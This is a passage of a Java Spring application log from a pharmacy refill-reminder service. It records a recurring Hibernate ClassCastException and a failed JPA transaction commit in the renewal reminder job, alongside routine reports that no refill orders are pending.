SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 11:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 11:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 11:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 11:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 11:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 11:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 11:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 11:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 11:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 11:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 12:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 12:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 12:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 12:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 12:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 12:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 12:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at 